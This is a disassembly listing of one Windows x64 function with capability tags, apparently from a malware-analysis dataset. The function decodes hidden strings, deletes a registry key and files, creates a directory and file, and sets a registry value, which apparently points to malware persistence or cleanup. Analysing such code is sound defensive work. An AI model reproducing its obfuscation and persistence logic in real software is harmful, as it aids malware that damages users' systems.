Function at 0x1400199a4
Capabilities:
Create directory
Delete file
Delete registry key
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x140162470]
xor rax, rsp
mov qword [rbp + 0x260], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersion_
lea rcx, [rsp + 0x50]
call fcn.1400e8e80
lea rbx, [rsp + 0x50]
mov edx, 0xb3ebcd07
movsxd rcx, eax
mov r8d, 0xa
add rbx, rcx
lea rcx, [0x1401682f8]
call fcn.140001558
sub rbx, rax
xor edi, edi
mov cl, byte [rax]
mov byte [rbx + rax], cl
inc rax
test cl, cl
jne 0x140019a07
lea rax, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r9d, 0x2010e
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140019b5a
mov edx, 0x76337ac2
mov ecx, 0x97d32fc5
mov r8d, 0x8ccc8c41
call fcn.1400015d0
lea r8, [0x140128df8]
lea rcx, [rbp + 0x160]
mov rdx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0x160]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x50]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x50]
mov edx, 0x5c
call fcn.1400e839c
mov rbx, rax
test rax, rax
je 0x140019b5a
mov edx, 0xb055c8a8
mov ecx, 0x51b59d9f
mov r8d, 0x4aaa3e21
add rbx, 2
call fcn.1400015d0
mov rdx, rbx
sub rdx, rax
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140019ad6
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, 0x82d53219
mov ecx, 0x633567ca
mov r8d, 0x782ac490
call fcn.1400015d0
mov rdx, rbx
sub rdx, rax
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140019b0c
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, 0x389588c4
mov ecx, 0xd975dd0b
mov r8d, 0xc26a7e4d
call fcn.1400015d0
sub rbx, rax
movzx ecx, word [rax]
mov word [rbx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140019b3f
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 1
call fcn.140018cf8
mov rdx, qword [0x140174678]
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140019b91
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140019e19
call fcn.140022d18
xor r9d, r9d
lea rax, [rsp + 0x50]
lea edx, [r9 + 0x1a]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140019c05
mov edx, 0x81d4477b
mov ecx, 0x60341290
mov r8d, 0x7b2bb1ef
call fcn.1400015d0
lea rcx, [rsp + 0x50]
mov r8, rax
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x140019bd7
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x140019be2
lea rcx, [rsp + 0x50]
call fcn.14001f944
cmp al, 1
je 0x140019d6a
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
lea ebx, [r9 + 0x23]
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov edx, ebx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140019c78
mov edx, 0xab0abbd4
mov ecx, 0x4aeaee5d
mov r8d, 0x51f54d40
call fcn.1400015d0
lea rcx, [rsp + 0x50]
mov r9, rax
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x140019c48
xor r8d, r8d
movzx eax, word [r9 + r8*2]
mov word [rcx + r8*2], ax
inc r8
test ax, ax
jne 0x140019c54
lea rcx, [rsp + 0x50]
call fcn.14001f944
cmp al, 1
je 0x140019d6a
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140019d6a
mov edx, 0x89895ef1
mov ecx, 0x68690b5e
mov r8d, 0x7376a872
call fcn.1400015d0
lea rcx, [rsp + 0x50]
mov r8, rax
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x140019cbb
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x140019cc6
lea rcx, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, 0xeb32a05e
mov ecx, 0xad2f401
mov r8d, 0x11cd56d0
call fcn.1400015d0
lea rcx, [rsp + 0x50]
mov r9, rax
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x140019d05
xor edx, edx
movzx eax, word [r9 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x140019d10
lea rcx, [rsp + 0x50]
call fcn.14001f944
test al, al
jne 0x140019d6a
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x50]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140019d6a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x140174678]
lea r8, [rsp + 0x48]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140019dde
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, 0x47653a64
mov ecx, 0xa6856e15
mov r8d, 0xbd9acce6
lea ebx, [rax*2 + 2]
call fcn.1400015d0
mov rcx, qword [rsp + 0x48]
mov r9d, 1
mov rdx, rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x1401683e0]
mov edx, 0xf9d94a51
mov r8d, 0x14
call fcn.140001558
lea r8, [0x140128fa8]
lea rcx, [rsp + 0x50]
mov rdx, rax
mov r9d, 1
call fcn.1400e8e80
lea rcx, [rsp + 0x50]
call fcn.140004878
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.1400e79e0
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret